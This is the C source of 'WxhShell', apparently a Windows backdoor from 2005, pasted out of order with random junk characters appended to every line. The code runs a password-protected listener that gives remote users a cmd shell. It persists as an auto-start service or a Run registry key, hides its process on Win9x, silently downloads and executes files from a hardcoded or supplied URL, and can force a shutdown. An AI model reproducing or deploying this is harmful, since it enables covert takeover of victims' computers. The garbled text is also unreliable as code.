  case 'd': { )3O0:]<H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YXC?q  
    if(Boot(SHUTDOWN)) 2?; =TJo$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HA}pr6Z  
    else { )*&I|L<1  
    closesocket(wsh); #@h3#IC  
    ExitThread(0); (GnwK1f  
    } ).+!/x  
    break; JI1O(  
    } o* q F"xG  
  // 获取shell 9:tvkl  
  case 's': { n ,<`.^  
    CmdShell(wsh); 8 jom)a  
    closesocket(wsh); **I9Nw!IH  
    ExitThread(0); b"Ep?=*5  
    break; .\*3t/R=X  
  } '8g/^Y@  
  // 退出 k:(i sKIA  
  case 'x': { &&C]i~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }NQx2k0  
    CloseIt(wsh); Ve<3XRq|8  
    break; -BWkPq!  
    } !X 3/2KRP7  
  // 离开 p^_E7k<ag  
  case 'q': { [oOA@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #A|~s;s>N  
    closesocket(wsh); .hh 2II  
    WSACleanup(); Up|\&2_  
    exit(1); I0\}S [+ H  
    break; -"L)<J@gQ?  
        } D7Y5q*F  
  } <&'Ye[k  
  } QC:/xP  
R#Z1+&='  
  // 提示信息 Nkfu k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1k@k2rE  
} =2%EIZ0oW  
  } \! 8`kC  
)2Gp3oD?  
  return; a7G0  
} gI A{6,A  
c"+N{$ vp  
// shell模块句柄 jjgY4<n  
int CmdShell(SOCKET sock) #UREFwSL  
{ *!De(lhEc  
STARTUPINFO si; x/$s:[0B#  
ZeroMemory(&si,sizeof(si)); WWF#&)ti  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T W?O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rN|c0N  
PROCESS_INFORMATION ProcessInfo; SU, t,i  
char cmdline[]="cmd"; k fx<T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p9<OXeY   
  return 0; LkFXUt?  
} "A jtNL5  
g0.D36  
// 自身启动模式 kmM4KP#&|  
int StartFromService(void) 3Lwl~h!  
{ lj"L Q(^  
typedef struct P=& Je?  
{ *VT@  
  DWORD ExitStatus; }I7/FqrD  
  DWORD PebBaseAddress; ;??wLNdf-  
  DWORD AffinityMask; Mj$dDtw  
  DWORD BasePriority; $;*YdZ`q  
  ULONG UniqueProcessId; l79jd%/m  
  ULONG InheritedFromUniqueProcessId; q>&F%;q1]  
}   PROCESS_BASIC_INFORMATION; ?r@euZ&  
zOq~?>Ms6  
PROCNTQSIP NtQueryInformationProcess; )@Yp;=l  
f}bUuQrH-!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]>@; 2%YvY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  l;>#O  
V"VWHAu*.w  
  HANDLE             hProcess; 3OHP-oa.  
  PROCESS_BASIC_INFORMATION pbi; zY8"\ZB  
~MY7Ic%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aDa}@-F&a  
  if(NULL == hInst ) return 0; &sL5 Pt_  
ok X\z[X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x&R&\}@G m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !D%*s,t\'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2]NP7Ee8 Z  
!)tXN=(1a  
  if (!NtQueryInformationProcess) return 0; @M4~,O6-  
a<Pi J?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9#%(%s 2 +  
  if(!hProcess) return 0; ~%^af"_  
UQ>GAzh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; < W,k$|w  
w;Qo9=-  
  CloseHandle(hProcess); qce#  
q 9qmz[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k=Ef)'  
if(hProcess==NULL) return 0; eEJ8j_G  
# RJy  
HMODULE hMod; L&ws[8-  
char procName[255]; X.s? =6}g  
unsigned long cbNeeded; (?R  
~U8#Iq1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6K P!o  
5S7`gN.  
  CloseHandle(hProcess); ^g[\.Q  
7V0:^Jov  
if(strstr(procName,"services")) return 1; // 以服务启动 <E@ 7CG.=  
(W+9 u0Zq  
  return 0; // 注册表启动 oAWk<B(@  
} [ H>MeeR  
~1Tz[\H#R  
// 主模块 ,-CDF)~G=3  
int StartWxhshell(LPSTR lpCmdLine) CpS' 2@6  
{ &X+V}  
  SOCKET wsl; EyNI]XEj  
BOOL val=TRUE; EhB9M!Y`@  
  int port=0; QY+#Vp<`  
  struct sockaddr_in door; #2ZXYH}  
0&/1{Dk*n  
  if(wscfg.ws_autoins) Install(); z9HQFRbo[  
A&9l|b-"  
port=atoi(lpCmdLine); ~J<bwF  
O%o#CBf0  
if(port<=0) port=wscfg.ws_port; c7s4 g-  
LEhku4U.  
  WSADATA data; PR|Trnd&D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z55,S=i  
lha )'   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ef,@}S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p w>A Q  
  door.sin_family = AF_INET; r %0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U_}$QW0'  
  door.sin_port = htons(port); 42 p6l   
~n[LL)v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7gVWu"  
closesocket(wsl); )SA$hwR  
return 1; c;U\nC<Y  
} *~!xeL  
$:u,6|QsS=  
  if(listen(wsl,2) == INVALID_SOCKET) { hQL9 Zl~  
closesocket(wsl); XOqpys  
return 1; h!K B%4V  
} Qlb@Az  
  Wxhshell(wsl); *|t]6!aVLS  
  WSACleanup(); Qmn5umd=?\  
WP]<\_r2  
return 0; HAO/r`7*  
"rX=G=  
} ]3={o3[:  
i"rMP#7  
// 以NT服务方式启动 a|nlmH"l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @0 -B&w  
{ =oQzL  
DWORD   status = 0; 2jhVmK  
  DWORD   specificError = 0xfffffff; 'R,d?ikY  
On'3K+(_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s=%HTfw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {t=Nnc15K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; keJec`q=X  
  serviceStatus.dwWin32ExitCode     = 0; H <1?<1^  
  serviceStatus.dwServiceSpecificExitCode = 0; #Ejly2C,  
  serviceStatus.dwCheckPoint       = 0; $--PA$H27  
  serviceStatus.dwWaitHint       = 0; I.8|kscM  
0'py7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \^#1~Kx  
  if (hServiceStatusHandle==0) return; DGd&x^C  
L//sJe  
status = GetLastError(); Ra{B8)Q  
  if (status!=NO_ERROR) COHJJONR  
{ dlT\VWMha(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (|[3/_!;v  
    serviceStatus.dwCheckPoint       = 0; nZ bg  
    serviceStatus.dwWaitHint       = 0; Q ,;x;QR4  
    serviceStatus.dwWin32ExitCode     = status; N\uQ-XOi  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ec\x;li! *  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .oK7E(QJ  
    return; O]Kb~jkd  
  } }TF<C !]  
6U&Uyd)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P);Xke  
  serviceStatus.dwCheckPoint       = 0; )K?GAj]Pq  
  serviceStatus.dwWaitHint       = 0; `PW=_f={  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); he+[  
} 9Np0<e3p  
|wLQ)y*  
// 处理NT服务事件,比如:启动、停止 vlPE8U=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J,D{dYLDD  
{ &U=f,9H  
switch(fdwControl) |E~X]_Y  
{ gMGg9U$@  
case SERVICE_CONTROL_STOP: aJ}sYf^  
  serviceStatus.dwWin32ExitCode = 0; pc.0;g N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E{fnh50^Q.  
  serviceStatus.dwCheckPoint   = 0; )I>rC%2P  
  serviceStatus.dwWaitHint     = 0; )/U1; O  
  { I L\mFjZ'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i&HV8&KygN  
  } :_aY:`  
  return; Bjo&  
case SERVICE_CONTROL_PAUSE: 0ay!tS dN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =#V11j  
  break; Z|/):nVP7  
case SERVICE_CONTROL_CONTINUE: L|Ydd!m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sN g"JQ  
  break; ZH}NlEn  
case SERVICE_CONTROL_INTERROGATE: RdDcMZ  
  break; -of= Lp  
}; ('lnQD.Hd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gU~)(|Nu.  
} up1aFzY|6x  
!<LS4s;  
// 标准应用程序主函数 <=-\so(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J6%op{7/  
{ ^KaMi_--  
Orb(xLChJ  
// 获取操作系统版本 kp6x6%{K\  
OsIsNt=GetOsVer(); M[{Cy[ta  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7_3O]e[8  
*Vc=]Z2G^  
  // 从命令行安装 Kje+Niz7  
  if(strpbrk(lpCmdLine,"iI")) Install(); -J30g\  
FG H>;H@  
  // 下载执行文件 :$tW9*\KY  
if(wscfg.ws_downexe) { "n e'iJf_(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G 6, 8Xwk  
  WinExec(wscfg.ws_filenam,SW_HIDE); MYPcH\K$h  
} GMNb;D(>K  
E\zhxiI  
if(!OsIsNt) { L[bGO|O  
// 如果时win9x,隐藏进程并且设置为注册表启动 BJE <~"  
HideProc(); U .Od  
StartWxhshell(lpCmdLine); bGJUu#  
} 5QSmim  
else 1P[Lz!C  
  if(StartFromService()) 3a qmK.`H  
  // 以服务方式启动 &f yFUg  
  StartServiceCtrlDispatcher(DispatchTable); Vj]kJ,j\y  
else X^W> "q  
  // 普通方式启动 5oKc=iX_3  
  StartWxhshell(lpCmdLine); xY S%dLE"  
YXtGuO\q  
return 0; d<Os TA  
} !LJ.L?9qw  
J50 ~B3bj`  
|gVO Iq  
?>y-5B[K/(  
=========================================== K7.<,E"M.  
2T5xSpC  
+i^s\c!3;  
f3N:MH-c  
8Vn6* Xn  
}$)<k  
" *Vl =PNn-  
duS #&w  
#include <stdio.h> r+\z0_' w6  
#include <string.h> %p9bl ,x  
#include <windows.h> c6HU'%v  
#include <winsock2.h> zK 2wLX  
#include <winsvc.h> UW*aSZ/?  
#include <urlmon.h> ?lK!OyCkc  
h9I )<_}R  
#pragma comment (lib, "Ws2_32.lib") X*"K g  
#pragma comment (lib, "urlmon.lib") nIjQLx  
RFJ;hh  
#define MAX_USER   100 // 最大客户端连接数 a~* V  
#define BUF_SOCK   200 // sock buffer hwzUCh 5!  
#define KEY_BUFF   255 // 输入 buffer g#4gGhI  
+V@=G &Ou0  
#define REBOOT     0   // 重启 cDiz!n*.q  
#define SHUTDOWN   1   // 关机 +29\'w,  
{h"\JI!  
#define DEF_PORT   5000 // 监听端口 @__;RVQ  
Nd_@J&  
#define REG_LEN     16   // 注册表键长度 F[ EblJ  
#define SVC_LEN     80   // NT服务名长度 m GhJn  
&-fx=gq=  
// 从dll定义API Jg:-TK/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mx9/K+:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7LwS =yP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XijLS7Aw|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V]]qu:Mh8  
|T_Pz& -  
// wxhshell配置信息 @vYmkF`  
struct WSCFG { 'pY;]^M  
  int ws_port;         // 监听端口 +q/h:q.TV  
  char ws_passstr[REG_LEN]; // 口令 Qu,k  
  int ws_autoins;       // 安装标记, 1=yes 0=no jw[BtRW  
  char ws_regname[REG_LEN]; // 注册表键名 XKX,7  
  char ws_svcname[REG_LEN]; // 服务名 ik *)j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0Qp'}_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,)$KS*f"*z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N1~V +_mM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HF: T]n,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LUNs|\&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wi?%)hur  
DME?kh>7  
}; X-1Vp_(,TP  
Z9&D'n)  
// default Wxhshell configuration 8-a6Q|   
struct WSCFG wscfg={DEF_PORT, 7V{"!V5  
    "xuhuanlingzhe", 66<\i ltUQ  
    1, LU,"i^T  
    "Wxhshell", " ^baiN@ac  
    "Wxhshell", i=UTc1  
            "WxhShell Service", 7f%Qc %B  
    "Wrsky Windows CmdShell Service", NNw d;AC  
    "Please Input Your Password: ", "O[76}I+.q  
  1, ^<\} Y  
  "http://www.wrsky.com/wxhshell.exe", !t Oky  
  "Wxhshell.exe" g&3#22z  
    }; G}#/`]o!K  
+MZO%4  
// 消息定义模块 X8 )>}#:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bH/pa#G(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1?RCJ]e5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m"( d%N7  
char *msg_ws_ext="\n\rExit."; {[5L96RH%  
char *msg_ws_end="\n\rQuit."; 'UVv(-  
char *msg_ws_boot="\n\rReboot..."; @CU|3Qg  
char *msg_ws_poff="\n\rShutdown..."; 4spaw?j  
char *msg_ws_down="\n\rSave to "; nRB>[lG  
'[ g)v  
char *msg_ws_err="\n\rErr!"; 8I\eromG  
char *msg_ws_ok="\n\rOK!"; $U1kP?pR  
Ws*PMK.0  
char ExeFile[MAX_PATH]; bo;pj$eR3R  
int nUser = 0; sV^h#g~Zb  
HANDLE handles[MAX_USER]; Q f-k&d  
int OsIsNt; 9G&l qfX:  
y3nm!tjyM  
SERVICE_STATUS       serviceStatus; O;0<^M/0G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H='9zqYZ<W  
GHJ=-9{YL  
// 函数声明 GoSWH2N  
int Install(void); L%K_.!d^  
int Uninstall(void); bepYeT  
int DownloadFile(char *sURL, SOCKET wsh); 3{4/7D cX  
int Boot(int flag); Sq|1f?_gU  
void HideProc(void); =x0"6gTz>  
int GetOsVer(void); !@Sf>DM"  
int Wxhshell(SOCKET wsl); r\n h.}s  
void TalkWithClient(void *cs); VuMDV6^Z  
int CmdShell(SOCKET sock); sRyw\v-=P  
int StartFromService(void); sIRrEea  
int StartWxhshell(LPSTR lpCmdLine); vvsNWA  
6G<Hi"I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cre0e$ a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mU+FQX  
oiv2rOFu  
// 数据结构和表定义 8<-oJs_o+  
SERVICE_TABLE_ENTRY DispatchTable[] = ;2Ad])  
{ ju^"vw  
{wscfg.ws_svcname, NTServiceMain}, 5Vqmv<F;$Z  
{NULL, NULL} *[xNp[4EU  
}; ;WS7.  
QR5,_wJ&  
// 自我安装 (: TGev  
int Install(void) +:"6`um|  
{ {1@4}R4  
  char svExeFile[MAX_PATH]; 3 2 1={\X  
  HKEY key; 2Ph7qEBQ22  
  strcpy(svExeFile,ExeFile); a4jnu:e  
KBr5bcm4u  
// 如果是win9x系统,修改注册表设为自启动 Wt+y-ES  
if(!OsIsNt) { @x=BJuUuX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bmO__1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3KG)6)1*  
  RegCloseKey(key); 4ljvoJ}xjr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A:.IBctsd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YoF\ MT]W  
  RegCloseKey(key); 1>@]@ST[:  
  return 0; 38U5^`  
    } 2u~c/JryN  
  } .hQ3A"  
} CFBUQMl >  
else { GIC"-l1\  
2-6.r_  
// 如果是NT以上系统,安装为系统服务 /G)KkBC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7/&C;"  
if (schSCManager!=0) -[f "r`  
{ 5"}y\  
  SC_HANDLE schService = CreateService %%as>}.  
  ( ?K4.L?D#J  
  schSCManager, I[g?Ju >  
  wscfg.ws_svcname, AY&9JSu 6  
  wscfg.ws_svcdisp, =MJ-s;raq  
  SERVICE_ALL_ACCESS, T+K` ^xv_L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %;<k(5bhGJ  
  SERVICE_AUTO_START, w%8ooQ|C  
  SERVICE_ERROR_NORMAL, Krp <bK6  
  svExeFile, Zr.\`mG4f  
  NULL, vNC$f(cQ  
  NULL, &N/|(<CB  
  NULL, ~ ^rey  
  NULL, 'z +$3\5L  
  NULL ez^*M:K  
  ); + 9\:$wMN  
  if (schService!=0) 8Fd1;G6  
  { +Mk*{ A t  
  CloseServiceHandle(schService); sd]54&3A  
  CloseServiceHandle(schSCManager); 3 ^02fy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FI?gT  
  strcat(svExeFile,wscfg.ws_svcname); %Ye)8+-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A;fB6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L876$  
  RegCloseKey(key); $ ] W[y=  
  return 0; LsJs Q h  
    } d`?U!?Si  
  } YW?7*go'Z  
  CloseServiceHandle(schSCManager); {k_ PMl0G  
} BaWQ<T8p8  
} 60hNCVq%  
P\q<d  
return 1; R<n8M"B  
} L,C? gd@"  
xta}4:d-Y  
// 自我卸载 X+dR<GN+YX  
int Uninstall(void) ;g: UE  
{ l~]hGLviJE  
  HKEY key; [Krm .)  
6[+\CS7Lt  
if(!OsIsNt) { <CZI7]PM7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5T$}Oy1  
  RegDeleteValue(key,wscfg.ws_regname); saGRP}7?  
  RegCloseKey(key); -TzI>Fz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K/f>f;c  
  RegDeleteValue(key,wscfg.ws_regname); FF%\g J  
  RegCloseKey(key); OwG6i|q  
  return 0; v%H"_T  
  } Jh37pI  
} vF9*tK'   
} n9]IBIthe  
else { <O \tC81  
6Gs{nFw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =7 Jy  
if (schSCManager!=0) pT("2:)x  
{ V*6l6-y~Ih  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l;XU#6{  
  if (schService!=0) $Cz1C  
  { 42b.7E  
  if(DeleteService(schService)!=0) { Y3vX)D}  
  CloseServiceHandle(schService); 1YJ_1VJ  
  CloseServiceHandle(schSCManager); GXT]K>LA  
  return 0; |. J,8~x  
  } E|HSwTHe  
  CloseServiceHandle(schService); FjD,8^SQW  
  } 0n4g $JK7  
  CloseServiceHandle(schSCManager); x`]Of r'  
} /C*~/}  
} B3y?.  
%*$5!;  
return 1; {V}t'x`4c  
} y=[gQJ6~r  
lq:]`l,6@  
// 从指定url下载文件 Sp 7u_Pq{  
int DownloadFile(char *sURL, SOCKET wsh) c:=7lI  
{ `%$8cZ-kr  
  HRESULT hr; Ap11b|v  
char seps[]= "/"; GxYW4b  
char *token; Z7JKaP9{:  
char *file; Of-C  
char myURL[MAX_PATH]; 8<YX7e  
char myFILE[MAX_PATH]; #$LH2?)  
A5sf  
strcpy(myURL,sURL); 9wAA. -"  
  token=strtok(myURL,seps); 9.xvV|Sp  
  while(token!=NULL) Z8&4z.6_  
  { WHp97S'd  
    file=token; TNh=4xQ}  
  token=strtok(NULL,seps); ^ Xm/  
  } M0RRmW@f.a  
tS?a){^:c  
GetCurrentDirectory(MAX_PATH,myFILE); t";{1.  
strcat(myFILE, "\\"); 2ubmsbt$  
strcat(myFILE, file); bAdiA2VF'  
  send(wsh,myFILE,strlen(myFILE),0); j3 6,w[Y:  
send(wsh,"...",3,0); <v]z6B@9!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $[[?;g  
  if(hr==S_OK) +C'XS{K,#  
return 0; t2"@Ps&1|  
else qv *3A?uzr  
return 1; 24/ /21m  
XAkK:}h  
} wAw42{M  
8h@q  
// 系统电源模块 ;xfO16fNk  
int Boot(int flag) 3FFaEl  
{ (@+h5@J[`I  
  HANDLE hToken; 1hR (N  
  TOKEN_PRIVILEGES tkp; OFL|RLiD  
-^yXLa;D  
  if(OsIsNt) { +fM&su=wl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x5oOF7#5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d]8_l1O  
    tkp.PrivilegeCount = 1; Q8;#_HE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mal<iNN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qB:AkMd&  
if(flag==REBOOT) { tmp6hB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bMsECA&  
  return 0; 8q0I:SJy  
} ~F;CE"3A  
else { ?KCivf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {J2#eiF  
  return 0; Zb."*zL  
} U 2bzUxK  
  } .l \r9I(  
  else { $ADPV,*gG  
if(flag==REBOOT) { {=3B)+N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (%bE~Q2P*<  
  return 0; w#&z]O9r  
} COSTV>s;  
else { FY8!g'.Oe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y.>kO  
  return 0; dByjcTPA  
} \QGa 4_#  
} wFvT0  
Cc!J1)  
return 1; bG(x:Py&  
} |H W( vA  
4@6 <  
// win9x进程隐藏模块 W .U+.hR  
void HideProc(void) T^]7R4 Fg  
{ /YFa ;2 W  
Q/py qe G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qEQAn/&  
  if ( hKernel != NULL ) \]8VwsP  
  { } ~F~hf>s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^LVk5l)\>g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Umz05*  
    FreeLibrary(hKernel); y@3Q;~l,  
  } ePEe?o4;  
:m K xa  
return; Me,<\rQ  
} !MoOKW  
X FQNr`  
// 获取操作系统版本 m; o4Fu  
int GetOsVer(void) ($62o&I  
{ *g_w I%l  
  OSVERSIONINFO winfo; UW6VHA>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 26.)Ur<F  
  GetVersionEx(&winfo); &tj0M.-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'w.}2(  
  return 1; ,hWcytzEw  
  else =IZ[_ /@  
  return 0; RBE7485  
} cKjRF6w  
pDn&V(  
// 客户端句柄模块 ,[X_]e;  
int Wxhshell(SOCKET wsl) J4>;[\%m  
{ K(VW%hV1  
  SOCKET wsh; d2~l4IL)~  
  struct sockaddr_in client; _R^y\1Qu  
  DWORD myID; ARF\fF|<2  
]g,lRG  
  while(nUser<MAX_USER) J\=a gQ  
{ Xwq]f :@V  
  int nSize=sizeof(client); L^FcS\r;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ie@Jb{ x  
  if(wsh==INVALID_SOCKET) return 1; !n<o)DsZR  
E(4w5=8TI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uv]{1S{tb  
if(handles[nUser]==0) s8vKKvs`9  
  closesocket(wsh); _Yq@FOu  
else u,o1{% O  
  nUser++; _ie.|4k  
  } *5D3vB*S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xE1'&!4O  
ZzcPiTSO  
  return 0; V_"f|[1  
} AnMV <  
dZ]Rqr _!  
// 关闭 socket %dW%o{  
void CloseIt(SOCKET wsh) |4mVT&63(  
{ c)~h<=)  
closesocket(wsh); aSL6zye ,  
nUser--; $UvPo0{  
ExitThread(0); `/4:I  
} uel{`T[S  
J,5+47b1}R  
// 客户端请求句柄 wL3,g2-L  
void TalkWithClient(void *cs) 8lP6-VA  
{ ,j178EX  
?djQZ *  
  SOCKET wsh=(SOCKET)cs; opp!0:jS*  
  char pwd[SVC_LEN]; O/b+CSS1  
  char cmd[KEY_BUFF]; C:i|-te  
char chr[1]; @i LIU}+  
int i,j; +,5-qm)Gh>  
% frfSGf.#  
  while (nUser < MAX_USER) { Sh&PNJ-*  
aG{$Ic  
if(wscfg.ws_passstr) { u9Y3?j,oC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ] fwZAU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {( tHk_q  
  //ZeroMemory(pwd,KEY_BUFF); Ri)uq\E/#  
      i=0; .L EY=j!-s  
  while(i<SVC_LEN) { 6F|j(LB  
I=Ij dwbH  
  // 设置超时 wK!~tYxP  
  fd_set FdRead; h|)vv4-d|  
  struct timeval TimeOut; lV6dm=k  
  FD_ZERO(&FdRead); PsnGXcj  
  FD_SET(wsh,&FdRead); ke%pZ 7{u  
  TimeOut.tv_sec=8; 8P2 J2IU  
  TimeOut.tv_usec=0; )Gk`[*q ;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s_Wyh !@M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `u XQ z7  
wtH~-xSB|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XP3x Jm3  
  pwd=chr[0]; p|[B =.c{  
  if(chr[0]==0xd || chr[0]==0xa) { _}gtcyx  
  pwd=0; v }\,o%t^  
  break; *%gF2@=r8F  
  } )rm4cW_  
  i++; f_=~H<j!  
    } ,S&z<S_  
rwf^,r"r  
  // 如果是非法用户,关闭 socket 6b=q-0yj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z?G&.# :  
} 0-d>I@j  
/4irAG% Oj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  5@!st  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -e]7n*}H$  
z#6?8y2-  
while(1) { IV`%V+ f  
D(]E/k@ ;~  
  ZeroMemory(cmd,KEY_BUFF); & ,hr8  
YY5!_k  
      // 自动支持客户端 telnet标准   y~ rX l  
  j=0; `T&jPA9eY  
  while(j<KEY_BUFF) { z(13~38+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wvby?MhPY  
  cmd[j]=chr[0]; z rfUQO  
  if(chr[0]==0xa || chr[0]==0xd) { 6'-As= iw  
  cmd[j]=0; +.yT/y"  
  break; =E*Gb[r_7  
  } Y.6SOu5$]  
  j++; u bW]-U=T  
    } xTz%nx  
W!L+(!&H  
  // 下载文件 I]`-|Q E  
  if(strstr(cmd,"http://")) { n/4i|-^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mY7>(M{  
  if(DownloadFile(cmd,wsh)) qxOi>v0\H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gl%`qf6:O  
  else B&?sF" Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SPkn 3D6  
